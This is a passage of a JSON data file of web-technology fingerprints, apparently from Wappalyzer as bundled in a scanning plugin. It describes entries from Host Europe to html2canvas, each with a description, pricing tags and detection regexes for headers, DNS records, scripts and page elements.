\"icon\": \"HostEurope.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hosteurope.de\"\n  },\n  \"Hostens\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Hostens is a web hosting company specialising in hosting services, virtual private server hosting, and the domain name or transition.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.hostens\\\\.com\"\n    },\n    \"icon\": \"Hostens.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hostens.com\"\n  },\n  \"Hostgator\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"HostGator is a Houston-based provider of shared, reseller, virtual private server, and dedicated web hosting with an additional presence in Austin, Texas.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.hostgator\\\\.com\"\n    },\n    \"icon\": \"Hostgator.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hostgator.com\"\n  },\n  \"Hosting Ukraine\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Hosting Ukraine is a web hosting provider and internet domain registrar.\",\n    \"dns\": {\n      \"SOA\": \"ns\\\\d+\\\\.ukraine\\\\.com\\\\.ua\"\n    },\n    \"icon\": \"Hosting Ukraine.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.ukraine.com.ua\"\n  },\n  \"Hostinger\": {\n    \"cats\": [\n      88\n    ],\n    \"cpe\": \"cpe:2.3:a:hostinger:hostinger:*:*:*:*:*:*:*:*\",\n    \"description\": \"Hostinger is an employee-owned Web hosting provider and internet domain registrar.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.(?:dns-parking|hostinger)\\\\.com\"\n    },\n    \"headers\": {\n      \"platform\": \"hostinger\"\n    },\n    \"icon\": \"Hostinger.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hostinger.com\"\n  },\n  \"Hostinger CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Hostinger Content Delivery Network (CDN).\",\n    \"headers\": {\n      \"server\": \"hcdn\"\n    },\n    \"icon\": \"Hostinger.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hostinger.com\"\n  },\n  \"Hostinger Website Builder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Hostinger Website Builder is a web-based platform that allows users to create and design websites without needing to write code or have extensive technical knowledge.\",\n    \"icon\": \"Hostinger.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Hostinger Website Builder\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"userapp\\\\.zyrosite\\\\.com/\"\n    ],\n    \"website\": \"https://www.hostinger.com\"\n  },\n  \"Hostiq\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Hostiq is a web hosting provider and internet domain registrar.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.hostiq\\\\.ua\"\n    },\n    \"icon\": \"Hostiq.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://hostiq.ua\"\n  },\n  \"Hostmeapp\": {\n    \"cats\": [\n      93,\n      72\n    ],\n    \"description\": \"Hostmeapp is an restaurant software. Includes reservation, waitlist, guestbook and marketing tools.\",\n    \"icon\": \"Hostmeapp.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tables\\\\.hostmeapp\\\\.com\"\n    ],\n    \"website\": \"https://www.hostmeapp.com\"\n  },\n  \"Hostpoint\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Hostpoint is a Switzerland-based web hosting company.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.hostpoint\\\\.ch\"\n    },\n    \"icon\": \"Hostpoint.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hostpoint.ch\"\n  },\n  \"Hosttech Website Creator\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Hosttech Website Creator is a web development tool by the Swiss company Hosttech, providing customizable templates and website management features.\",\n    \"icon\": \"Hosttech.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Website Creator by hosttech\",\n      \"wsc_rendermode\": \"\"\n    },\n    \"website\": \"https://www.hosttech.ch/websitecreator\"\n  },\n  \"Hotaru CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"hotaru_mobile\": \"\"\n    },\n    \"icon\": \"Hotaru CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Hotaru CMS\"\n    },\n    \"website\": \"https://hotarucms.org\"\n  },\n  \"Hotjar\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Hotjar is a suite of analytic tools to assist in the gathering of qualitative data, providing feedback through tools such as heatmaps, session recordings, and surveys.\",\n    \"icon\": \"Hotjar.svg\",\n    \"js\": {\n      \"HotLeadfactory\": \"\",\n      \"HotleadController\": \"\",\n      \"hj.apiUrlBase\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//static\\\\.hotjar\\\\.com/\"\n    ],\n    \"website\": \"https://www.hotjar.com\"\n  },\n  \"Hotjar Incoming Feedback\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Hotjar Incoming Feedback is a widget that sits at the edge of a page.\",\n    \"dom\": [\n      \"a[href*='hotjar.com/incoming-feedback'][target='_blank']\"\n    ],\n    \"icon\": \"Hotjar.svg\",\n    \"scriptSrc\": [\n      \"\\\\.hotjar\\\\.com/preact-incoming-feedback\"\n    ],\n    \"website\": \"https://www.hotjar.com\"\n  },\n  \"Hotmart\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"HotMart is a Brazilian-based affiliate marketing system.\",\n    \"icon\": \"Hotmart.svg\",\n    \"js\": {\n      \"HotmartLauncherObject\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hotmart\\\\.com/\"\n    ],\n    \"website\": \"https://hotmart.com\"\n  },\n  \"Howler.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Howler.js is an audio library with support for the Web Audio API and a fallback mechanism for HTML5 Audio.\",\n    \"icon\": \"Howler.js.svg\",\n    \"js\": {\n      \"Howler\": \"\",\n      \"HowlerGlobal\": \"\"\n    },\n    \"oss\": true,\n    \"saas\": false,\n    \"scriptSrc\": [\n      \"howler@([\\\\d.]+)/dist/howler\\\\.min\\\\.js\\\\;version:\\\\1\",\n      \"howler/([\\\\d.]+)/howler(?:\\\\.core)?\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://howlerjs.com\"\n  },\n  \"HrFlow.ai\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"HrFlow.ai is an HR data automation API platform.\",\n    \"icon\": \"HrFlow.ai.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hrflow\\\\.ai\"\n    ],\n    \"website\": \"https://hrflow.ai\"\n  },\n  \"Htmx\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Htmx is a JavaScript library for performing AJAX requests, triggering CSS transitions, and invoking WebSocket and server-sent events directly from HTML elements.\",\n    \"dom\": [\n      \"script[data-src*='/dist/htmx.min.js']\"\n    ],\n    \"icon\": \"Htmx.svg\",\n    \"js\": {\n      \"htmx\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/htmx\\\\.org@([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://htmx.org\"\n  },\n  \"HubSpot\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"HubSpot is a marketing and sales software that helps companies attract visitors, convert leads, and close customers.\",\n    \"dns\": {\n      \"TXT\": [\n        \"hubspotemail\\\\.net\",\n        \"hubspot-developer-verification\",\n        \"hubspot-domain-verification\"\n      ]\n    },\n    \"html\": [\n      \"<!-- Start of Async HubSpot\"\n    ],\n    \"icon\": \"HubSpot.svg\",\n    \"js\": {\n      \"_hsq\": \"\",\n      \"hubspot\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hs-scripts\\\\.com/\"\n    ],\n    \"website\": \"https://www.hubspot.com\"\n  },\n  \"HubSpot Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"HubSpot is a marketing and sales software that helps companies attract visitors, convert leads, and close customers.\",\n    \"icon\": \"HubSpot.svg\",\n    \"scriptSrc\": [\n      \"js\\\\.hs-analytics\\\\.net/analytics\"\n    ],\n    \"website\": \"https://www.hubspot.com/products/marketing/analytics\"\n  },\n  \"HubSpot CMS Hub\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"CMS Hub is a content management platform by HubSpot for marketers to manage, optimize, and track content performance on websites, blogs, and landing pages.\",\n    \"headers\": {\n      \"x-hs-hub-id\": \"\",\n      \"x-powered-by\": \"HubSpot\"\n    },\n    \"icon\": \"HubSpot.svg\",\n    \"implies\": [\n      \"HubSpot\"\n    ],\n    \"meta\": {\n      \"generator\": \"HubSpot\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hubspot.com/products/cms\"\n  },\n  \"HubSpot Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"HubSpot Chat is a tool where you can view, manage, and reply to incoming messages from multiple channels.\",\n    \"icon\": \"HubSpot.svg\",\n    \"js\": {\n      \"HubSpotConversations\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.usemessages\\\\.com\"\n    ],\n    \"website\": \"https://www.hubspot.com/products/crm/live-chat\"\n  },\n  \"HubSpot Cookie Policy Banner\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"HubSpot Cookie Policy banner is a cookie compliance functionality from HubSpot.\",\n    \"dom\": [\n      \"#hs-eu-cookie-confirmation\"\n    ],\n    \"icon\": \"HubSpot.svg\",\n    \"website\": \"https://knowledge.hubspot.com/reports/customize-your-cookie-tracking-settings-and-privacy-policy-alert\"\n  },\n  \"HubSpot WordPress plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"HubSpot is a platform with all the tools and integrations you need for marketing, sales, and customer service. HubSpot WordPress plugin allows you to manage contacts (CRM), engage visitors with live chat and chatbots, add beautiful forms to pages, create engaging email marketing campaigns, and more.\",\n    \"icon\": \"HubSpot.svg\",\n    \"implies\": [\n      \"HubSpot\",\n      \"HubSpot Analytics\"\n    ],\n    \"js\": {\n      \"leadin_wordpress.leadinPluginVersion\": \"^([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/leadin/\"\n  },\n  \"Hubalz\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Hubalz is an all-in-one analytics and marketing tool.\",\n    \"icon\": \"Hubalz.svg\",\n    \"js\": {\n      \"Hubalz.getClickDetails\": \"\",\n      \"hubalz_script.noInputTracking\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hubalz.com\"\n  },\n  \"Hubb\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Hubb is an all-in-one integrated system designed for churches, enabling website content management without the need for technical expertise.\",\n    \"dom\": [\n      \"div.endis-jquery-ui\"\n    ],\n    \"icon\": \"Hubb.svg\",\n    \"js\": {\n      \"EndisDialog\": \"\",\n      \"EndisForm\": \"\",\n      \"IsHubbPage\": \"\",\n      \"SubmitEndisForm\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hubb.church\"\n  },\n  \"Huberway\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"huberway_session\": \"\"\n    },\n    \"description\": \"Huberway is a content management system, based on PHP and JavaScript, used to create advanced sales portals oriented towards industrialization 4.0.\",\n    \"icon\": \"Huberway.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.huberway.com\"\n  },\n  \"Huberway Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Huberway Analytics is a free web analytics service that tracks and reports website traffic.\",\n    \"icon\": \"Huberway.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.huberway\\\\.com/pixel/\"\n    ],\n    \"website\": \"https://www.huberway.com/analytics-software\"\n  },\n  \"Huckabuy\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"Huckabuy is a software product utilising Google's dynamic rendering and structured data initiatives to enhance organic channel growth.\",\n    \"icon\": \"Huckabuy.svg\",\n    \"js\": {\n      \"HUCKABUY NAMESPACE.sd\": \"\",\n      \"hbScriptRerun\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://huckabuy.com\"\n  },\n  \"Huddle\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Huddle is a digital product agency based in Amsterdam, Netherlands, specialising in developing and designing custom software solutions for startups and enterprises, including e-learning products, community platforms, and mobile applications.\",\n    \"dom\": [\n      \"link[href*='.thehuddle.nl/']\"\n    ],\n    \"icon\": \"Huddle.svg\",\n    \"js\": {\n      \"HuddleEvent\": \"\",\n      \"HuddleUser\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.thehuddle.nl\"\n  },\n  \"Hugo\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Hugo is an open-source static site generator written in Go.\",\n    \"dom\": {\n      \"a[href*='hugo.']\": {\n        \"attributes\": {\n          \"href\": \"(?:go)?hugo(?:\\\\..+)?\\\\.(?:com|io)\\\\;confidence:0\"\n        },\n        \"text\": \"Hugo\\\\;confidence:99\"\n      }\n    },\n    \"icon\": \"Hugo.svg\",\n    \"meta\": {\n      \"generator\": \"Hugo ([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://gohugo.io\"\n  },\n  \"HulkApps Age Verification\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"HulkApps Age Verification allow your customers to certify their age before they land in your store.\",\n    \"icon\": \"HulkApps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"age-verification\\\\.hulkapps\\\\.com/\"\n    ],\n    \"website\": \"https://www.hulkapps.com/products/age-verification-shopify\"\n  },\n  \"HulkApps Form Builder\": {\n    \"cats\": [\n      73,\n      100,\n      110\n    ],\n    \"description\": \"HulkApps Form Builder is an application that creates customizable, job-specific forms for unit needs.\",\n    \"icon\": \"HulkApps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"formbuilder\\\\.hulkapps\\\\.com/\"\n    ],\n    \"website\": \"https://www.hulkapps.com/products/form-builder-shopify\"\n  },\n  \"HulkApps GDPR/CCPA Compliance Manager\": {\n    \"cats\": [\n      67,\n      100\n    ],\n    \"description\": \"HulkApps GDPR/CCPA Compliance Manager is a consent management solution.\",\n    \"icon\": \"HulkApps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"hulkSetCookie\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cookiebar\\\\.hulkapps\\\\.com/hulk_cookie_bar\\\\.js\"\n    ],\n    \"website\": \"https://www.hulkapps.com/products/gdpr-ccpa-cookie-manager-shopify-app\"\n  },\n  \"HulkApps Infinite Product Options\": {\n    \"cats\": [\n      76,\n      100\n    ],\n    \"description\": \"HulkApps Infinite Product Options is a unlimited custom options for products. Display variant options as buttons, color and image swatches, and more.\",\n    \"icon\": \"HulkApps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"hulkapps.po_url\": \"productoption\\\\.hulkapps\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hulkapps.com/products/infinite-product-options-shopify\"\n  },\n  \"HulkApps Product Reviews\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"HulkApps Product Reviews is a customer product reviews app for building social proof for store.\",\n    \"dom\": [\n      \"link[href*='reviews.hulkapps.com/']\"\n    ],\n    \"icon\": \"HulkApps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"hulkappsProductReview\": \"\",\n      \"hulkappsReviews\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hulkapps.com/products/product-reviews-shopify\"\n  },\n  \"Human Presence\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Human Presence is a bot detection and spam protection software for WordPress and Shopify.\",\n    \"icon\": \"human_presence.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"/.*\\\\.humanpresence\\\\.(?:io|app)/\"\n    ],\n    \"website\": \"https://www.humanpresence.io\"\n  },\n  \"Humblytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Humblytics is an analytics tool that simplifies tracking custom events without coding. It monitors real-time metrics, optimises conversion rates, and provides valuable insights.\",\n    \"icon\": \"Humblytics.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.humblytics\\\\.com/\"\n    ],\n    \"website\": \"https://www.humblytics.com\"\n  },\n  \"Humm\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Humm (formerly Flexigroup) is a buy now pay later service operating in Australia.\",\n    \"icon\": \"Humm.svg\",\n    \"js\": {\n      \"checkout.enabledpayments.humm\": \"^true$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widgets\\\\.shophumm\\\\.com\",\n      \"/wp-content/plugins/oxipay-payment-gateway/\"\n    ],\n    \"website\": \"https://www.shophumm.com\"\n  },\n  \"Hund.io\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Hund.io is an automated status pages with monitoring.\",\n    \"dom\": [\n      \"link[href*='hund-client-logos']\"\n    ],\n    \"icon\": \"Hund.io.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hund\\\\.io/\"\n    ],\n    \"website\": \"https://hund.io\"\n  },\n  \"HurryTimer\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"HurryTimer is a cutting-edge WordPress plugin that enables users to create customizable, scheduled countdown timers to further engage visitors and increase conversions.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/hurrytimer/'], #hurrytimer, #hurrytimer-css\"\n    ],\n    \"icon\": \"HurryTimer.png\",\n    \"js\": {\n      \"hurrytimer_ajax_object\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"hurrytimer(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/cookie)?(?:\\\\/jquery)?(?:\\\\.countdown)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/hurrytimer\"\n  },\n  \"Hushly\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Hushly is an all-in-one B2B marketing software platform.\",\n    \"dom\": [\n      \"link[href*='.hushly.com/']\"\n    ],\n    \"icon\": \"Hushly.svg\",\n    \"js\": {\n      \"__hly_widget_object\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hushly\\\\.com/\"\n    ],\n    \"website\": \"https://www.hushly.com\"\n  },\n  \"Hydra-Shield\": {\n    \"cats\": [\n      64\n    ],\n    \"description\": \"Hydra-Shield is an anti-DDoS protection reverse proxy that filters and mitigates malicious traffic to safeguard servers from distributed denial-of-service attacks.\",\n    \"headers\": {\n      \"server\": \"^Hydra-Shield\\\\sV([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Hydra-Shield.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://hydra-shield.fr\"\n  },\n  \"Hydrogen\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Hydrogen is a front-end web development framework used for building Shopify custom storefronts.\",\n    \"headers\": {\n      \"powered-by\": \"^Shopify-Hydrogen$\"\n    },\n    \"icon\": \"Hydrogen.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"React\",\n      \"Vite\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://hydrogen.shopify.dev\"\n  },\n  \"Hypercloudhost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Hypercloudhost is a hosting service solution in Indonesia offering anti-DDoS protection and high-performance cloud hosting.\",\n    \"icon\": \"Hypercloudhost.svg\",\n    \"meta\": {\n      \"generator\": \"^hypercloudhost$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://hypercloudhost.com\"\n  },\n  \"Hypercorn\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Hypercorn is an ASGI web server that supports HTTP/1, HTTP/2, WebSockets, ASGI/2, and ASGI/3 specifications, and can utilize asyncio, uvloop, or trio for asynchronous operations.\",\n    \"headers\": {\n      \"Server\": \"hypercorn\"\n    },\n    \"icon\": \"hypercorn.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://pgjones.gitlab.io/hypercorn/\"\n  },\n  \"Hyperia\": {\n    \"cats\": [\n      32,\n      71\n    ],\n    \"description\": \"Hyperia is a tool designed for lead generation and affiliate marketing.\",\n    \"icon\": \"Hyperia.svg\",\n    \"js\": {\n      \"_config.base_url\": \"\\\\.hyperia\\\\.sk\",\n      \"_config.socket_url\": \"\\\\.hyperia\\\\.sk\",\n      \"_config.tracker_url\": \"\\\\.hyperia\\\\.sk\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.hyperia.sk\"\n  },\n  \"Hyperspeed\": {\n    \"cats\": [\n      92,\n      100\n    ],\n    \"description\": \"Hyperspeed is the most advanced speed booster for Shopify.\",\n    \"icon\": \"Hyperspeed.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Instant.Page\"\n    ],\n    \"js\": {\n      \"hyperscripts\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/.+/assets/hs-(?:instantload|lazysizes)\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.hyperspeed.me\"\n  },\n  \"Hypervisual Page Builder\": {\n    \"cats\": [\n      51,\n      100\n    ],\n    \"description\": \"Hypervisual Page Builder is a page builder for Shopify.\",\n    \"icon\": \"Hypervisual.png\",\n    \"js\": {\n      \"hypervisualPreflight\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.gethypervisual\\\\.com/\"\n    ],\n    \"website\": \"https://gethypervisual.com\"\n  },\n  \"Hypestyle CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Hypestyle CSS is a small CSS library build on utility classes and components.\",\n    \"dom\": {\n      \"link[href*='hypestyle']\": {\n        \"attributes\": {\n          \"href\": \"/hypestyle@([\\\\d\\\\.]+)/dist/css/hypestyle\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Hypestyle CSS.png\",\n    \"implies\": [\n      \"Sass\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.hypestylecss.xyz\"\n  },\n  \"Hyros\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Hyros is a marketing analytics and optimisation platform.\",\n    \"icon\": \"Hyros.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/v1/lst/universal-script\\\\?ph\\\\=\"\n    ],\n    \"website\": \"https://hyros.com\"\n  },\n  \"Hyva Themes\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Hyva Themes is a performance-optimised theme for Magento 2 which eliminated the third-party libraries and having only two dependencies Alpine.js and Tailwind CSS.\",\n    \"headers\": {\n      \"X-Built-With\": \"^Hyva Themes$\"\n    },\n    \"icon\": \"Hyva Themes.svg\",\n    \"implies\": [\n      \"Magento\\\\;version:2\",\n      \"Tailwind CSS\",\n      \"Alpine.js\"\n    ],\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://hyva.io\"\n  },\n  \"h5ai\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"h5ai is a modern HTTP web server index for Apache httpd, lighttpd, and nginx.\",\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/_h5ai/(?:public|client)/js/scripts\\\\.js\"\n    ],\n    \"website\": \"https://github.com/lrsjng/h5ai\"\n  },\n  \"hCaptcha\": {\n    \"cats\": [\n      16\n    ],\n    \"css\": [\n      \"#cf-hcaptcha-container\"\n    ],\n    \"description\": \"hCaptcha is an anti-bot solution that protects user privacy and rewards websites.\",\n    \"dom\": [\n      \"link[href*='hcaptcha.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"(?:\\\\.|//)hcaptcha\\\\.com\"\n    },\n    \"icon\": \"hCaptcha.svg\",\n    \"js\": {\n      \"hcaptcha.getRespKey\": \"\",\n      \"hcaptchaOnLoad\": \"\",\n      \"hcaptcha_sitekey\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"hcaptcha\\\\.com/([\\\\d]+?)/api\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.hcaptcha.com\"\n  },\n  \"hantana\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Hantana provides user behavior analysis tools like heatmaps, surveys, and feedback widgets to enhance website user experience and customer satisfaction.\",\n    \"icon\": \"hantana.svg\",\n    \"js\": {\n      \"Hantana\": \"\"\n    },\n    \"scriptSrc\": [\n      \"//hantana\\\\.org/widget\"\n    ],\n    \"website\": \"https://hantana.org/\"\n  },\n  \"hoolah\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"hoolah is Asia's omni-channel buy now pay later platform.\",\n    \"icon\": \"hoolah.png\",\n    \"js\": {\n      \"hoolah\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"merchant\\\\.cdn\\\\.hoolah\\\\.co/\"\n    ],\n    \"website\": \"https://www.hoolah.co\"\n  },\n  \"html2canvas\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Screenshots with JavaScript.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"html2canvas(?:\\\\.min)?(?:[_\\\\w]{0,8})?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?html2canvas(?:\\\\.min)?(?:[_\\\\w]{0,8})?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://html2canvas.hertzen.com/\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/i.json",
